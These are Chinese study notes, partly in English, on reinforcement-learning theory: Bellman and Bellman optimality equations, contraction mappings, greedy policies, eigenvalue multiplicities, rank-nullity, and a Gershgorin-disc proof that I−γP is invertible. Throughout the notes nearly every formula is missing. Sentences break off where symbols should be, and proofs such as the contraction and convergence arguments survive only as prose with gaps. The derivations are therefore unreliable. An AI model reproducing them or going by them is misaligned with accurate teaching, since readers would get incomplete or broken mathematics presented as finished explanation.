回顾与引入

贝尔曼方程

贝尔曼方程描述了在给定策略 下，状态价值函数 或 状态-行为价值函数 的自洽性（self-consistency）关系。

贝尔曼最优方程

贝尔曼最优方程描述了在最优策略 下，最优状态价值函数 或 最优状态-行为价值函数的自洽性关系。

这就引入了几个问题：

1. 什么叫最优？
2. 存在性：最优策略一定存在吗？
3. 唯一性：最优策略是唯一的吗？
4. 随机性：最优策略是确定性的还是随机性的？
5. 求解算法：如何计算最优状态值和最优策略？

最优的定义

当且仅当对于所有状态 s∈S 和任何其他策略 π，都满足 vπ∗(s)≥vπ(s) 时，策略 π∗ 被认为是最优策略。最优策略所对应的状态价值即为最优状态价值。

贝尔曼最优方程（BOE）

对于每一个 ，贝尔曼最优方程（BOE）的元素形式表示为：

其中 和 是待求解的未知变量，并且

然而，要完全理解这个方程并非易事。例如，它包含了两个未知变量：状态值v(s) 和策略π(a∣s)。这可能会让初学者感到困惑，不知道如何从一个方程中求解两个未知变量。

但实际上事可以解的比如，考虑两个未知变量 和 ，它们满足以下方程：

压缩映射定理

由于贝尔曼最优方程（BOE）可以表示为非线性方程 ，我们接下来介绍压缩映射定理来分析它。压缩映射定理是分析一般非线性方程的强大工具，它也被称为不动点定理。

考虑一个函数 ，其中 且 。如果满足以下条件，则称点 为不动点：

上述方程的解释是 的映射就是它本身。这就是为什么 被称为“固定”的原因。如果存在 使得：

对于任意 ，函数 则是一个压缩映射（或收缩函数）。 表示向量或矩阵范数。

它满足如下性质

• 存在性：存在一个满足 的不动点 。
• 唯一性：不动点 是唯一的。
• 算法：考虑迭代过程：其中 。然后，对于任何初始猜测 ，当 时，。此外，收敛速度是指数级的快。

柯西序列

该证明依赖于柯西序列。如果对于任意小的 ，存在一个 使得对于**所有，都满足 ，则称序列 为柯西序列。直观的解释是存在一个有限整数 ，使得 之后的所有元素彼此足够接近。柯西序列很重要，因为它保证了会收敛到一个极限。它的收敛性质将用于证明压缩映射定理。请注意，我们必须有 对于所有** 。如果我们只是有，则不足以声称该序列是柯西序列。例如，对于 ，它满足 ，但显然 是发散的。

至于严谨的证明最后收敛到一个极限，这里不给证明，先接受这个结论。

压缩映射的迭代收敛性

当你对一个点反复应用一个压缩映射（即进行迭代 ），所产生的序列 必定是一个柯西序列。

首先，假设 是一个压缩映射，我们有：

类似地，我们有 ，…，。因此，我们有：

由于 ，我们知道当 时， 会以指数速度收敛到零（exponentially fast convergence），给定任意 。值得注意的是， 的收敛不足以暗示 的收敛。因此，对于任何 ，我们需要进一步考虑 。特别是：

因此，对于任何 ，我们总是可以找到 使得对于所有 ，。

因此，这个序列是柯西序列，并因此收敛到一个极限点，记为 。

压缩映射存在性证明

极限点为不动点的证明

我们证明极限 是一个不动点。* 为此，由于

我们知道 以指数速度收敛到零。因此，我们在极限处有 。

压缩映射唯一性证明

假设存在另一个不动点 满足 。那么，

由于 ，这个不等式成立当且仅当 。因此，。

贝尔曼最优公式的右边是一个压缩映射

考虑任意两个向量 ，并假设 且 。那么，

其中不等式表示元素级的比较。因此，

类似地，可以证明 。因此，

定义

其中 、 和 都是元素级运算符。根据定义，。一方面，很容易看出

这意味着

于是，

其中 是最大范数。

另一方面，假设 是 的第 个分量，并且 和 分别是 和 的第 行。那么，

由于 是一个所有元素非负且元素之和为一的向量，因此有：

类似地，我们有 。因此，

进而有：

将此不等式代入 (3.5) 式，得到：

这完成了对 的压缩性质的证明。

v∗ 和 π∗的最优性

解 是最优状态价值，而 是一个最优策略。也就是说，对于任何策略 ，都满足：

注：只要v*是最好的就证明了此时对应的π∗是最好的。（因为我们使用state value来评价一个策略的好坏）

其中 是策略 的状态价值，且不等式表示元素级比较。贝尔曼最优方程（BOE）：它的解对应于最优状态价值和最优策略。下面是证明

对于任何策略 ，有：

由于

我们有：

重复应用上述不等式得到

因此，

其中最后一个等式成立是因为 且 是一个非负矩阵，其所有元素都小于或等于 1。

贪婪最优策略 - Greedy Optimal Policy

对于任意 (对于状态空间中的任何状态 )，确定性贪婪策略 定义如下：

这意味着对于任何给定的状态 ，最优策略 会以概率 1 选择动作 ，而选择其他任何动作的概率为 0。

这里， 是通过以下方式确定的：

这个公式表示， 是在当前状态 下，能够最大化 最优动作-值函数 (optimal action-value function) 的动作。简单来说，就是选择在当前状态下，未来预期回报最高的那个动作。

最优动作-值函数 定义如下：

这个公式是 贝尔曼最优方程 (Bellman Optimality Equation) 的核心部分，它解释了 的含义：

• 代表在状态 下执行动作 ，然后从下一个状态 开始遵循最优策略所能获得的**预期总回报 (expected total return)**。
• : 这一项表示在状态 下执行动作 后获得的即时奖励 (immediate reward) 的期望值。 是在状态 执行动作 得到奖励 的概率。
• : 这一项表示在状态 下执行动作 后，到达下一个状态 ，并从 开始遵循最优策略所能获得的未来奖励 (future rewards) 的期望值。

最优策略是唯一的吗？

在标准的马尔可夫决策过程（MDP）中，如果最优值函数 _ 或最优动作-值函数 _ 存在，那么至少存在一个确定性的最优策略。这意味着你总能找到一个确定性的策略来达到最优性能。

然而，如果存在多个动作在某个状态下都能够达到相同的最大 值，那么这些动作的任何概率组合（即随机策略）也都是最优的。

• 先把“可逆性 ↔ det(A)”这一几何直观吃透，再过渡到“特征值/特征向量 → 几何重数与代数重数”的层次；
• 最后用“零空间、秩与秩零定理”串联“信息丢失/维度守恒”的大图景。

1. det(A) 与可逆性的几何直观

问题一：为什么 det(A) = 0 矩阵就不可逆？

要回答这个问题，我们需要回到三个最核心的定义：

1. 什么是“逆”？(Invertible)
2. 什么是“矩阵”？(Matrix)
3. 什么是“行列式”？(Determinant)

定义回顾：从根源理解概念

• 逆 (Inverse) 的直观理解：
  在普通的算术中，数字 5 的倒数是 (或者 )，因为 。数字 1 是一个“单位”，任何数乘以 1 都保持不变。
  在矩阵的世界里，也有一个类似的概念。一个矩阵 A 的“逆”，我们记作 ，它也需要满足一个类似的条件：
  
  这里的 就是单位矩阵 (Identity Matrix)，它在矩阵乘法中的作用就像数字 1。对于 2x2 矩阵，单位矩阵是：
  
  所以，“可逆”意味着存在另一个矩阵，可以将原来的变换“撤销”，恢复到最初的状态。如果找不到这样一个“撤销”操作，那么它就是“不可逆”的 (non-invertible or singular)。
• 矩阵 (Matrix) 的几何意义：空间变换
  一个矩阵最核心的几何意义是对空间进行线性变换 (Linear Transformation)。当你用一个矩阵乘以一个向量（或点），你实际上是在对这个向量（或点）进行一种“操作”，比如旋转、拉伸、剪切，或者这些操作的组合。
  例如，矩阵 会把空间中所有的向量都拉伸为原来的两倍。矩阵 会把所有向量逆时针旋转 90 度。
• 行列式 (Determinant) 的几何意义：面积/体积变化的比例
  行列式 det(A) 是一个数值，它描述了矩阵 A 在进行空间变换时，一个单位面积（二维）或单位体积（三维）会缩放多少倍。
  • 二维情况：想象一个在原点由两个基向量（(1,0) 和 (0,1)）构成的 1x1 的正方形。经过矩阵 变换后，这个正方形会变成一个平行四边形。这个新平行四边形的面积，就是行列式 det(A) 的绝对值。
    • 如果 det(A) = 2，意味着所有图形的面积都会扩大为原来的 2 倍。
    • 如果 det(A) = 0.5，意味着所有图形的面积都会缩小为原来的一半。
    • 如果 det(A) 是负数（比如 -2），表示面积扩大了 2 倍，并且空间的“朝向”被翻转了（比如像照镜子一样）。

证明：为什么 det(A) = 0 意味着不可逆？

1. 当 det(A) = 0 时，发生了什么？
   根据行列式的几何意义，det(A) = 0 意味着经过矩阵 A 的变换后，原来的单位面积/体积被压缩成了 0。
   • 在二维空间中，一个面积为 1 的正方形，被变换成了一个面积为 0 的图形。这意味着什么？这意味着它被“压扁”了。整个二维平面被压缩成了一条直线，甚至一个点。
   • 在三维空间中，一个体积为 1 的立方体，被变换成了一个体积为 0 的图形。这意味着它被“压扁”成一个平面、一条直线，或者一个点。
2. “压扁”操作为什么不可逆？
   想象一下，你有一个三维的苹果，现在用一个巨大的压力机把它压成了一张苹果味的“纸片”（一个二维平面）。这个“压扁”操作就是我们的矩阵 A，它的 det(A) = 0。
   现在我问你：你能从这张“纸片”恢复出原来那个完整的三维苹果吗？

答案是不能。 因为在“压扁”的过程中，关于“厚度”维度的所有信息都丢失了。多个不同的三维物体（比如一个苹果、一个梨、一个球）都可能被压成同一个二维形状。你无法知道这个“纸片”原来是什么。
这就是“不可逆”的本质。
从数学上讲，当变换 A 将空间“压扁”时，会出现“多对一”的映射。例如，在二维空间中，整个平面被压到了一条直线上。这意味着有无数个不同的原始向量（点），经过变换后都变成了同一个向量（点）。
*而“可逆”变换必须是“一对一”*的。只有这样，你才能从变换后的结果，唯一地、确定地找回变换前的原始状态。
既然 det(A) = 0 的变换是“多对一”的，它就不可能存在一个逆操作 来实现“一对多”的恢复（这在函数上是不允许的）。

结论：
det(A) = 0 矩阵 A 的变换会将空间降维（例如，平面压成直线） 变换过程中丢失了信息，产生了多对一的映射 无法从结果唯一的恢复出初始状态 不存在逆变换 矩阵 A 不可逆。

2. 特征值/特征向量 → 几何重数与代数重数

问题二：矩阵的几何重数和代数重数怎么理解？

这两个概念都与矩阵的特征值 (Eigenvalue) 和特征向量 (Eigenvector) 紧密相关。所以我们必须先从这里开始。

定义回顾：特征值与特征向量

• 什么是特征向量？
  对于一个给定的矩阵 A（也就是一个给定的空间变换），一个特征向量 (Eigenvector) v 是一个非常特殊的向量。当它被矩阵 A 变换后，它的方向保持不变（或恰好反向），只发生了长度上的缩放。
• 什么是特征值？
  这个缩放的比例，就是与该特征向量对应的**特征值 (Eigenvalue)**，我们用 表示。

用公式表达就是：

这个公式的几何意义是：“对向量 v 进行 A 变换，其效果等同于仅仅将向量 v 的长度缩放 倍”。
这条不变的“轴线”方向，就是理解代数重数和几何重数的关键。

代数重数 (Algebraic Multiplicity)

• 定义：一个特征值 的代数重数，是指它在特征多项式中作为根的重数。
• 这是什么意思？
  求解特征值的过程，是从 出发，变形为 。
  为了使这个方程有非零向量 v 的解，矩阵 必须是“不可逆”的，也就是它的行列式必须为零：
  
  这个方程左边是一个关于 的多项式，我们称之为特征多项式。解这个方程，就能得到所有的特征值 。
  代数重数，就是在解这个多项式方程时，某个解 重复了多少次。
• 例子：
  假设一个 3x3 矩阵的特征多项式解出来是：
  
  那么它的特征值是 和 。
  • 特征值 5 出现了两次，所以它的代数重数是 2。
  • 特征值 -2 出现了一次，所以它的代数重数是 1。
  你可以把它理解成一个纯粹的、代数计算上的概念。

几何重数 (Geometric Multiplicity)

• 定义：一个特征值 的几何重数，是指与它对应的线性无关的特征向量的个数。
• 这是什么意思？
  我们回到特征向量的定义：。对于一个特定的特征值 ，所有满足这个方程的特征向量 v（再加上零向量），会构成一个空间，我们称之为**特征空间 (Eigenspace)。
  这个特征空间的维度 (dimension)**，就是 的几何重数。
  • 如果一个特征值对应的特征空间是一条直线，那么它的几何重数就是 1。（因为你只能找到一个线性无关的向量来定义这条线）
  • 如果一个特征值对应的特征空间是一个平面，那么它的几何重数就是 2。（因为你需要两个线性无关的向量来定义这个平面）
  • 如果是一个三维空间，几何重数就是 3。
• 几何直观：
  几何重数告诉你，对应于某个特定缩放比例（特征值 ），有多少个“方向”（维度）上的向量只被缩放而不改变方向。
  • 几何重数为 1：意味着只有一个轴线方向上的向量享受“只缩放，不旋转”的待遇。
  • 几何重数为 2：意味着有一个平面上所有的向量，都享受“只缩放，不旋转”的待遇。

两者的关系和区别

• 关系：对于任何一个特征值 ，它的几何重数小于或等于其代数重数。
  

• 一个直观的例子来理解差异：
  考虑一个 2x2 的**剪切变换 (Shear)**：。
  这个变换会把单位正方形推成一个平行四边形，x 轴上的点不动，其他点向右平移，平移的距离取决于它的高度。

  在这个例子中，代数重数 (2) 大于几何重数 (1)。这告诉我们，虽然从代数计算上看，特征值 1 很“重要”（出现了两次），但从几何上看，它只定义了一个不变的方向（x 轴），而不是两个。

  1. 求代数重数：
     特征多项式是 。
     唯一的解是 ，它出现了两次。
     所以，特征值 1 的代数重数是 2。
  2. 求几何重数：
     我们来找特征值 1 对应的特征向量 v。
     。
     这给出了方程 ，也就是 。
     这意味着，所有满足条件的特征向量都形如 ，其中 x 是任意非零实数。
     所有这些向量都位于 x 轴上。这个特征空间是一条直线，它的维度是 1。
     所以，特征值 1 的几何重数是 1。

• “完美”的矩阵：
  当一个矩阵所有特征值的几何重数都等于其代数重数时，这个矩阵就拥有“足够多”的特征向量，可以张成整个空间。这类矩阵被称为可对角化 (diagonalizable) 的。对称矩阵就是这样“完美”的矩阵。

• “有缺陷”的矩阵 (Defective Matrix)：
  当至少有一个特征值的几何重数小于其代数重数时（就像上面的剪切矩阵），这个矩阵就被称为“有缺陷的”。它没有足够多的特征向量来张成整个空间。

3. 几何重数 ≤ 代数重数：证明与结构视角

一、证明：

这个不等式分为两部分，我们分别证明，并解释每一步的含义。

1. 证明

这部分非常直观，源于特征值的定义。

• 回顾定义：一个数 被称为矩阵 的特征值，前提是必须存在一个非零向量 ，使得 成立。
• 推导：
  1. 既然 是一个特征值，那么根据定义，至少存在一个非零的特征向量 。
  2. 与 相关的特征空间 (Eigenspace)，是所有满足 的向量 的集合（再加上零向量）。
  3. 因为我们至少找到了一个非零向量 在这个空间里，所以这个空间的维度至少是一维（一条直线）。
  4. 几何重数的定义，就是这个特征空间的维度。
• 结论：因此，一个特征值的几何重数至少是 1。如果连一个特征向量都找不到，那它根本就不能被称为特征值。

2. 证明

这部分的证明稍微抽象一些，但核心思想是“换个角度看问题”，也就是进行一次基变换 (Change of Basis)**。

我们来一步步构建这个证明

• 前提设定:
  • 假设我们有一个 的矩阵 。
  • 它有一个特征值 。
  • 我们假设这个特征值 的**几何重数是 **。
• 几何重数的含义:
  • 几何重数是 意味着，对应 的特征空间是 维的。
  • 这说明我们可以找到 个线性无关的特征向量 。对于其中任何一个向量 ，都有 。
• “搭桥”——构建新的坐标系:
  • 这 个向量 只是我们 维空间的一部分。我们可以再找 个与它们线性无关的向量 ，把它们凑在一起，形成我们 维空间的一组新的基（可以理解为一套新的坐标轴）。
  • 我们用这组新的基向量作为列，构建一个可逆矩阵 ：
    
• “换角度看”——进行相似变换:
  • 直接分析矩阵 可能很复杂。我们换一个角度，看看在新的坐标系下， 这个变换长什么样。这个操作就是计算 。
  • 一个重要的性质是：相似矩阵 和 有完全相同的特征多项式，因此它们的特征值以及这些特征值的代数重数也都完全相同。 所以，我们分析 的代数重数，就等于在分析 的代数重数。
    • 目标：证明相似矩阵的特征多项式相同，即

    * 推导步骤：

• 结论：两者特征多项式完全相同，因而特征值及其代数重数也完全相同。
• 分析新矩阵 的结构:
  • 我们来看 的前 列是什么：
    
  • 当我们用 去乘 时，由于 的作用是把向量从标准坐标系转换到我们的新坐标系，它会把 向量变回第 个标准基向量 。
  • 所以，。
  • 这意味着， 这个新矩阵的前 列一定是 。这个矩阵看起来是这个样子的：
    
    这里的 是 的单位矩阵，B 和 C 是由 那些向量变换后得到的一些我们不关心的矩阵块。
• 最后一步——计算特征多项式:
  • 现在我们来计算这个新矩阵的特征多项式 ：
    
  • 对于这种分块上三角矩阵，其行列式等于对角线上矩阵块的行列式的乘积：
    
    
  • 这个结果告诉我们什么？它说明，在最终的特征多项式中，因子 至少出现了 次。
  • 代数重数的定义，就是这个因子总共出现的次数。所以， 的代数重数必然大于或等于 。
  • 因为我们一开始就设定了 是几何重数，所以我们证明了：几何重数 代数重数。

4. 零空间、秩与秩零定理：信息丢失与维度守恒

二、什么是零空间 (Null Space)？

零空间，又称**核 (Kernel)**，是理解矩阵“信息损失”的钥匙。

• 定义：对于一个 的矩阵 ，它的零空间 是所有满足方程 的 维向量 的集合。
  
• 几何直观：
  我们将矩阵 看作一个从 维空间到 维空间的变换。
  • 零空间就是输入空间（** 维空间）中，所有被这个变换“压扁”到原点 的向量的集合。**
  • 它回答了这样一个问题：“哪些向量在经过 A 变换后会消失（变成零向量）？”
• 例子：
  1. 可逆矩阵 (比如旋转矩阵)：一个旋转变换只会把零向量自己留在原点。任何非零向量旋转后还是非零向量。因此，一个可逆矩阵的零空间里**只有零向量 **。
  2. 投影矩阵：想象一个将三维空间 投影到 xy 平面的矩阵 。
     • 什么样的向量 会被它变换成 ？
     • 。
     • 要满足这个条件，必须 且 。 可以是任何值。
     • 所以，所有形如 的向量（也就是整个 z 轴）都会被压到原点。
     • 因此，这个投影矩阵的零空间就是 z 轴。

零空间的维度，被称为**零度 (Nullity)**。在上面投影的例子里，零空间是一条直线，所以零度是 1。

三、什么是秩零定理 (Rank-Nullity Theorem)？

秩零定理是关于“维度守恒”的一个美妙定律。它完美地连接了矩阵变换的输入和输出。

首先，我们需要定义**秩 (Rank)**。

• 秩 (Rank)：矩阵 的列空间 (Column Space) 的维度被称为 的秩。
  • 列空间是矩阵 的所有列向量的线性组合所构成的空间。
  • 几何直观：列空间就是变换后所有可能的输出向量所组成的空间。它回答了这样一个问题：“原来的空间经过 A 变换后，最终会形成一个什么样的空间？”
  • 在上面那个投影到 xy 平面的例子中，无论你输入什么三维向量，输出结果一定落在 xy 平面上。所以它的列空间就是 xy 平面，维度是 2，因此秩是 2。

秩零定理 (Rank-Nullity Theorem)

对于一个 的矩阵 （代表一个从 维空间到 维空间的变换），其秩和零度的关系满足：

• 直观解释——维度的“能量守恒”：
  一个 维的输入空间，在经过矩阵 A 变换后，它的维度“分配”到了两个地方：

  秩零定理告诉我们，“存活”的维度加上“消失”的维度，必须等于原始的总维度。维度不会凭空产生，也不会凭空消失。

  1. 一部分维度“存活”了下来，构成了输出空间（列空间）。这部分的维度就是秩。
  2. 另一部分维度“消失”了，被压缩进了原点。这部分的维度就是零度。

• 用投影的例子验证：

  • 我们的投影矩阵 是 的，所以输入空间是 3 维的 ()。
  • 我们算出了它的秩是 2 (输出是一个平面)。
  • 我们算出了它的零度是 1 (被压缩的是一条直线)。
  • 根据定理：。完美符合！

这个定理非常强大。比如，它告诉我们，一个 矩阵如果把一个 3D 空间压缩成一条直线（秩为 1），那么必然有一个 2D 的平面（零度为 2）被压缩到了原点。

5. 总结速览

• det(A)=0 的几何含义是“压扁/降维”，导致信息丢失和多对一映射，因此不可逆。
• 特征值/特征向量刻画“仅缩放不转向”的方向；代数重数是“在特征多项式中作为根的重复次数”，几何重数是“对应特征空间的维度”。
• 重要关系：；等号处处成立即矩阵可对角化。
• 零空间与秩共同揭示“变换保留的维度”和“被消灭的维度”，由秩零定理统一：。

为了解决随机系统中回报的不稳定性问题，状态价值的概念被引入：它定义为从某一状态出发，遵循给定策略时所能获得的期望回报（平均回报）。这种期望形式能够平滑掉随机性带来的波动，更稳定地衡量策略在该状态下的长期表现，从而成为评估策略的可靠指标。

随机变量的引入

随机变量就是一个取值不确定、结果受到某种概率分布支配的变量。在强化学习中，环境状态、动作选择、奖励获得等都不是完全确定的，因此用随机变量建模并用概率和期望等方法去分析，是强化学习理论的基础。

1. 首先，明确了多个符号所代表的都是随机变量，这是因为在强化学习的环境中，很多元素都存在不确定性。例如，智能体所处的状态、选择的动作、获得的奖励等，都可能受到随机因素的影响，并非完全确定。
2. 其次，说明了这些随机变量的取值范围：
   • 表示下一个状态属于状态空间 ，即下一个状态是所有可能状态中的某一个；
   • 意味着在当前状态 下，智能体选择的动作属于该状态下可执行的动作集合 ；
   • 表明在当前状态 下执行动作 所获得的即时奖励，属于该状态-动作对对应的奖励集合 。

这些说明为后续讨论状态价值、贝尔曼方程等概念奠定了基础，因为正是由于这些元素的随机性，才需要引入期望等概念来进行分析和计算。

状态价值函数的时间无关性

这句话阐述了状态价值函数 的一个重要特性：**它不依赖于时间步 **。

具体来说，当智能体在状态空间中移动时， 仅表示当前的时间步（比如第 1 步、第 5 步等），**但对于给定的策略 和状态 **，状态价值 是固定的。这是因为状态价值的定义是“在策略 下，从状态 出发所能获得的期望回报”，其核心取决于策略的规则以及环境对状态转移和奖励的设定，而与智能体“何时到达该状态”无关。

例如，假设在一个迷宫中，策略 是“始终向右移动”，那么无论智能体是在第 3 步还是第 10 步到达“迷宫入口”这个状态 ，在策略 下，从 出发的期望回报（即状态价值 ）都是相同的。一旦策略确定，每个状态的价值就被唯一确定，不会随时间步的变化而改变。

与回报的关系

• 确定性环境：状态价值 = 回报（因为每次结果都一样）
• 随机性环境：状态价值 = 所有可能回报的平均值

贝尔曼方程（Bellman Equation）

贝尔曼方程（Bellman Equation）是强化学习和动态规划中的核心方程，用来描述在给定策略 ππ 下，某一状态的价值（价值函数）与其后续状态价值之间的递归关系。

逐元素形式

首先将回报分解：

（当前回报 = 立即奖励 + 未来回报的折扣）

两边取期望（条件是 ）：

展开期望项：

• 第一项（立即奖励期望）：

（按策略选动作，再按环境模型得奖励）

• 第二项（未来价值期望）：

（按策略选动作，按环境模型转移状态，再乘以未来状态的价值）

合并得到贝尔曼方程：

逐元素形式

这里， 和 分别表示可能的动作集合和奖励集合。需要注意的是，$A$ 可能因不同状态而异，在这种情况下，应该写作 。同样地， 也可能依赖于 。为了简化本书的表述，我们忽略了对 或 的依赖关系。但即便存在这种依赖，结论仍然成立。

全概率形式

In addition to the expression in (2.7), readers may also encounter other expressions of the Bellman equation in the literature. We next introduce two equivalent expressions.

First, it follows from the law of total probability that

Then, equation (2.7) can be rewritten as

This is the expression used in [3].

Second, the reward may depend solely on the next state in some problems. As a result, we can write the reward as and hence , substituting which into (2.7) gives

全概率形式

矩阵形式

给出一个贝尔曼方程组的矩阵形式：

一般形式为：

解贝尔曼方程

证明可以通过随机初始化一个vk然后通过迭代收敛

Define the error:

We want to show that .

Step 1: Substitute expressions
Substitute and into

which yields

Step 2: Rearrange terms
Rearranging, we have

Step 3: Iterative form
Repeatedly applying this,

Step 4: Convergence argument
Since every entry of is nonnegative and no greater than one,

for any . Also, since , then . Therefore,

动作价值（状态-动作价值）

◇ First, it follows from the properties of conditional expectation that

It then follows that

As a result, a state value is the expectation of the action values associated with that state.

◇ Second, since the state value is given by

comparing it with (2.13) leads to

2.14就是动作价值函数

贝尔曼公式的动作价值形式

In particular, substituting (2.13) into (2.14) yields
, which is an equation of action values.

The above equation is valid for every state-action pair. If we put all these equations together, their matrix-vector form is

where is the action value vector indexed by the state-action pairs: its th element is . is the immediate reward vector indexed by the state-action pairs: .

The matrix is the probability transition matrix, whose row is indexed by the state-action pairs and whose column is indexed by the states:

_Moreover, is a block diagonal matrix in which each block is a vector:
_and the other entries of are zero.

Compared to the Bellman equation defined in terms of state values, the equation defined in terms of action values has some unique features.

For example, and are independent of the policy and are merely determined by the system model. The policy is embedded in . It can be verified that (2.15) is also a contraction mapping and has a unique solution that can be iteratively solved. More details can be found in [5].

忘掉那些复杂的数学符号，我们先用一个比喻来理解。

想象一个“引力游戏”

想象一个平面上有几个大质量的星球，我们称它们为“主星”。每个主星都有自己的“引力范围”。除了这些主星，还有一些环绕它们的小行星。

• 主星 (Star)：这就是矩阵对角线上的元素。它们是每个圈的圆心。
• 引力范围 (Gravitational Field)：每个主星的引力能影响多远，取决于它所在行的其他“随从”行星。我们把同一行里，除了主星自己以外所有随从的“质量”加起来，这个总和就是引力范围的半径。
• 小行星 (Asteroid)：这就是矩阵的特征值。它们是我们要找的目标。

格申圆盘定理说的就是：所有的小行星（特征值），都必然落在这个由所有主星的“引力范围”所组成的星系（所有圆盘的并集）之内。

换句话说，它没告诉我们每个特征值的精确位置，但它划定了一个肯定能找到它们的区域。

从比喻回到数学

现在我们把上面的比喻翻译成数学语言。

对于一个 的方阵 ：

格申圆盘定理的内容：

1. 画圆心：在复平面上（可以暂时就想成普通的x-y坐标平面），把矩阵对角线上的元素 一个个地标出来。这些点就是我们即将要画的个圆的圆心。
   • 圆心 1:
   • 圆心 2:
   • …
   • 圆心 n:
2. 算半径：对每一个圆心，计算它对应圆的半径。
   • 第 个圆的半径 ，等于第 行所有非对角线元素的绝对值之和。
   • 半径 1:
   • 半径 2:
   • …
   • 半径 i:
3. 画圆盘：以 为圆心，以 为半径，画一个圆盘（实心圆）。这样我们就得到了 个“格申圆盘”。
4. 定理结论：矩阵 的所有特征值（总共有 个）必定都落在这 个圆盘构成的区域之内（即所有圆盘的并集）。

重要提示：

• 定理不保证每个圆盘里都恰好有一个特征值。
• 可能一个圆盘里有好几个特征值，而另一个圆盘里一个都没有。
• 它只是说，把所有圆盘的范围合在一起，这个总范围一定能网罗住所有的特征值。

来个具体的例子

我们来看一个 3x3 的矩阵 ：

我们来给它的特征值“划地盘”：

1. 第一行 (Row 1):
   • 圆心：对角线元素是 。
   • 半径：行内其他元素的绝对值之和是 。
   • 圆盘 D1：以 为中心，半径为 的圆。范围是 。
2. 第二行 (Row 2):
   • 圆心：对角线元素是 。
   • 半径：行内其他元素的绝对值之和是 。
   • 圆盘 D2：以 为中心，半径为 的圆。范围是 。
3. 第三行 (Row 3):
   • 圆心：对角线元素是 。
   • 半径：行内其他元素的绝对值之和是 。
   • 圆盘 D3：以 为中心，半径为 的圆。范围是 。

结论：矩阵 的三个特征值，我们不知道具体是多少，但我们百分之百肯定，它们一定落在 D1、D2、D3 这三个圆盘所覆盖的区域里。也就是在区间 这个并集之内，化简后就是 。

（实际上，这个矩阵的特征值约等于 , , ，完全在我们预测的范围内！）

它有什么用？

你可能会问，只知道一个大概范围有什么用？

1. 快速估算：在很多工程和科学问题中，我们不需要知道特征值的精确值，只需要知道它的大概范围，比如判断它是不是正数，或者离 有多远。格申圆盘定理提供了一个计算成本极低的方法。
2. 理论证明：就像你在上一个问题中看到的，它可以用来证明某些矩阵的性质。例如，如果一个矩阵的所有格申圆盘都不包含原点 ，那我们就能立刻断定，这个矩阵的特征值肯定没有 ，因此该矩阵是可逆的！这是一种非常强大的证明工具。

定理的数学证明

当然可以。格申圆盘定理的证明非常巧妙，而且只需要用到特征值和绝对值不等式的一些基本性质。

证明目标

定理内容：对于任意 复数矩阵 ，它的每一个特征值 都必定落在由 个格申圆盘构成的并集区域内。其中第 个圆盘 的圆心是对角元 ，半径是该行所有非对角元绝对值之和 。

用数学语言描述，任何特征值 都满足：

证明过程

第 1 步：从特征值的定义出发

我们从最根本的定义开始。如果 是矩阵 的一个特征值，那么必然存在一个与之对应的非零向量 （称为特征向量），使得它们满足下面的方程：

其中 ，并且因为 是非零向量，所以它的分量 不全为零。

第 2 步：将方程展开到每一行

上面的矩阵方程可以写成一个包含 个线性方程的方程组。我们来看第 行对应的方程：

这个式子是把矩阵 的第 行和向量 相乘得到的结果。

第 3 步：分离对角线元素

现在，我们把左边的求和式中，包含对角元 的那一项单独拿出来：

可以简写为：

移项整理一下，把所有带 的项都放到一边：

第 4 步：引入证明的关键——找到“最大”的分量

这是整个证明中最核心的一步。因为特征向量 不是零向量，所以它的分量中至少有一个不为零。这意味着，必然存在一个绝对值最大的分量。

我们假设这个绝对值最大的分量是 。也就是说，我们选取一个索引 (从 到 )，使得：

因为 非零，所以我们知道 。

第 5 步：将第 4 步的结论应用到第 3 步的方程中

我们在第 3 步得到的方程对任意一行 都成立，那么它自然对我们刚刚选出的第 行也成立。我们把 换成 ：

第 6 步：两边取绝对值，并使用三角不等式

现在，我们对上式两边同时取绝对值：

左边可以拆开：

对于右边，我们使用三角不等式（一个和的绝对值小于或等于绝对值的和）：

把上面几个式子合起来，我们得到：

第 7 步：再次利用“最大”分量的性质

回到第 4 步，我们已经知道 是所有分量绝对值中最大的，即 。所以，我们可以对上一步不等式的右边进行放缩：

结合第 6 步，我们得到：

第 8 步：得到最终结论

因为我们知道 ，所以我们可以放心地在不等式两边同时除以 ，不等号方向不变：

让我们来解读一下这个最终的不等式：

• 是第 个格申圆盘的圆心。
• 是第 个格申圆盘的半径。
• 是特征值 到圆心 的距离。

这个不等式说明，特征值 到圆心 的距离小于或等于半径。这恰恰证明了：特征值 位于以 为圆心、以 为半径的圆盘之内。

由于我们从一个任意的特征值 开始推导，证明了它必然落在某一个（由其特征向量最大分量所在的行决定）格申圆盘中，所以可以得出结论：矩阵 的所有特征值都位于所有 个格申圆盘的并集之中。

证明完毕。

强化学习种证明r可解

我们使用格申圆盘定理来证明矩阵 总是可逆的。

这个证明的核心思路是：

如果我们可以证明数字 0 不在任何一个格申圆盘内，那么 0 就不可能是这个矩阵的特征值。一个没有零特征值的矩阵一定是可逆的。

预备知识回顾

1. 矩阵可逆性：一个方阵可逆，当且仅当它的所有特征值都不为零。
2. 格申圆盘定理：对于矩阵 ，它的每个特征值都位于某个格申圆盘 内。圆盘 的圆心是 （对角元），半径是 （该行非对角元绝对值之和）。
3. 我们的前提：
   • 是一个随机矩阵，因此 并且每一行之和为 ()。
   • 是折扣因子，满足 。

证明步骤

第 1 步：确定我们要分析的矩阵

我们令 。我们的目标就是证明 是可逆的。

第 2 步：找出 的对角元和非对角元

为了应用格申圆盘定理，我们需要确定 的对角元（圆心）和非对角元（用于计 算半径）。

• 对角元 (圆心)：

所以，第 个格申圆盘的圆心是 。

• 非对角元：

第 3 步：计算格申圆盘的半径

第 个圆盘的半径 是第 行所有非对角元绝对值的和：

因为 是随机矩阵，每一行的和为 ，即 ，所以 。

代入半径公式，得到：

第 4 步：证明 不在任何一个圆盘内

一个点（比如 ）如果在一个圆盘内，那么这个点到圆心的距离必须小于或等于圆的半径。

• 第 个圆盘的圆心是 。
• 第 个圆盘的半径是 。

我们来比较一下“圆心到 的距离”和“半径”的大小。

圆心到 的距离是 。
因为 ，且 ，所以 。
因此圆心 必然是正数，距离就是它本身：

现在，我们来比较这个距离和半径 ：

• 距离：
• 半径：

因为 ，必有 ，同时在两边都减去相同的数 不等号方向不变：

也就是

（圆心到 的距离“严格大于”圆的半径）

这个结论对矩阵的每一行 都成立。

结论

我们已经证明，对于矩阵 的任意一个格申圆盘，其圆心到原点 的距离都严格大于它的半径。这意味着原点 位于所有格申圆盘之外。

根据格申圆盘定理，所有的特征值都必须在这些圆盘构成的区域之内。既然 在这个区域之外，那么 ** 就不可能是矩阵 的特征值**。

